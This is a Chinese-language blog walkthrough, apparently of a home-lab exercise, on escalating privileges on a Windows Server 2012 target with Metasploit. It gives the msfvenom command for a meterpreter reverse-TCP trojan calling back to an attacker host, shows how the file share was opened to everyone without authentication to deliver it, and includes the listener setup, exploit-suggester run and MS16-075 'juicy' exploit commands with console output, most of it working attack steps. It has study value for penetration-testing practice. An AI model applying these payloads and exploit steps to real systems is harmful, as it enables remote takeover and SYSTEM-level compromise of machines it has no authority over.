Windows溢出提权 [msf全自动提权练习]

文章描述了一种在Windows2012靶机上进行提权的方法,通过Kali生成反弹木马,利用Windows10作为中转,通过文件共享将木马传至靶机。在靶机上运行木马后,使用Metasploit进行监听和交互,接着运用local_exploit_suggester模块检测并尝试提权。

环境

Windows2012目标机(靶机),kali攻击机,Windows10(作为一个中转的机器,重点是前两个)

Windows2012

(由于该虚拟机无法安装vmtools,无法与真实机交互文件,所以我在本机win10上开启了一个共享文件,使他们可以交互文件方便后续操作。
正常的流程应该是2012上有一个web服务,通过getshell之后传递木马并运行上线msf)
image.png

kali生成exe木马

Windows msf.exe反弹木马,反弹地址为kali地址,反弹端口4444

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.54 LPORT=4444 -f exe -o msf.exe

然后把该木马拖到真实机的共享文件夹里

木马上传

由于真实机与靶机无法交互,所以换一种思路,两台机器在同一网段下,真实机开启文件共享服务,利用文件共享服务把木马传至靶机。

选择一个文件夹,作为共享文件夹

image.png

右键属性-》共享-》选择everyone添加

image.png
image.png

给予完全控制权限

也是为了防止后续出现其他的问题
image.png

回到共享栏-》选择网络和共享中心

这里是为了关闭身份验证,不然他会需要账户密码
image.png
image.png

靶机访问-》拖木马

路径长是因为我木马放在了共享文件夹的下一级目录里(问题不大),然后就可以拖出来了
image.png
image.png

kali监听

输入 :msfconsole
选择监听模块 :use exploit/multi/handler
设置payload:set payload windows/meterpreter/reverse_tcp
(该payload,应该与生成木马时的payload一样)
查看还需要设置什么:options
设置一个lhost地址:set lhost 192.168.10.54
(监听地址,也是木马生成时的反弹地址(kali本机))
设置端口:与木马反弹的端口一致(这里我默认就是4444,所以不用改)
开启监听:run

┌──(root㉿kali)-[/home/kali]
└─# msfconsole                  
                                                  

 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v6.3.19-dev                          ]
+ -- --=[ 2318 exploits - 1215 auxiliary - 412 post       ]
+ -- --=[ 1234 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE 
true                                                              
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/met
set payload windows/meterpreter/bind_hidden_ipknock_tcp
set payload windows/meterpreter/bind_hidden_tcp
set payload windows/meterpreter/bind_ipv6_tcp
set payload windows/meterpreter/bind_ipv6_tcp_uuid
set payload windows/meterpreter/bind_named_pipe
set payload windows/meterpreter/bind_nonx_tcp
set payload windows/meterpreter/bind_tcp
set payload windows/meterpreter/bind_tcp_rc4
set payload windows/meterpreter/bind_tcp_uuid
set payload windows/meterpreter/reverse_hop_http
set payload windows/meterpreter/reverse_http
set payload windows/meterpreter/reverse_http_proxy_pstore
set payload windows/meterpreter/reverse_https
set payload windows/meterpreter/reverse_https_proxy
set payload windows/meterpreter/reverse_ipv6_tcp
set payload windows/meterpreter/reverse_named_pipe
set payload windows/meterpreter/reverse_nonx_tcp
set payload windows/meterpreter/reverse_ord_tcp
set payload windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp_allports
set payload windows/meterpreter/reverse_tcp_dns
set payload windows/meterpreter/reverse_tcp_rc4
set payload windows/meterpreter/reverse_tcp_rc4_dns
set payload windows/meterpreter/reverse_tcp_uuid
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted
                                        : '', seh, thread, proce
                                        ss, none)
   LHOST                      yes       The listen address (an i
                                        nterface may be specifie
                                        d)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 192.168.10.54
lhost => 192.168.10.54
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.10.54:4444 
[*] Sending stage (175686 bytes) to 192.168.10.62
[*] Meterpreter session 1 opened (192.168.10.54:4444 -> 192.168.10.62:49196) at 2023-07-21 09:28:52 +0800

靶机运行木马-》msf上线

这里应该是webshell连上之后传入木马程序,然后命令运行。但是2012靶机上没有web服务所以我这里就直接在靶机上点击运行了(这样的权限是administrator,不用管,我们的目的是为了提升到system权限)
image.png

查看权限

image.png

保存该会话

bg
image.png

提权

切换为提权模块

use post/multi/recon/local_exploit_suggester

查看需要设置什么

options

设置一个session

set session 1

启动

run

命令过程

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf6 post(multi/recon/local_exploit_suggester) > options 

Module options (post/multi/recon/local_exploit_suggester):

   Name           Current Settin  Required  Description
                  g
   ----           --------------  --------  -----------
   SESSION                        yes       The session to run t
                                            his module on
   SHOWDESCRIPTI  false           yes       Displays a detailed
   ON                                       description for the
                                            available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

然后他会自动检测有哪些可利用的漏洞,执行结束列出

yes代表可能存在该漏洞可利用,no代表没有
image.png

执行提取

选择一个模块:use exploit/windows/local/ms16_075_reflection_juicy
查看需要哪些设置:options
设置session:set session 1
启动:run

命令过程

msf6 exploit(windows/local/bypassuac_eventvwr) > use exploit/windows/local/ms16_075_reflection  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_075_reflection) > options 

Module options (exploit/windows/local/ms16_075_reflection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this m
                                       odule on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  none             yes       Exit technique (Accepted
                                        : '', seh, thread, proce
                                        ss, none)
   LHOST     192.168.10.54    yes       The listen address (an i
                                        nterface may be specifie
                                        d)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms16_075_reflection) > set session 1
session => 1
msf6 exploit(windows/local/ms16_075_reflection) > run

[*] Started reverse TCP handler on 192.168.10.54:4444 
[*] x64
[-] Exploit aborted due to failure: bad-config: Session/Target Arch mismatch; WOW64 not supported
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms16_075_reflection) > use exploit/windows/local/ms16_075_reflection_juicy
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
session => 1
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run

执行提权成功

image.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值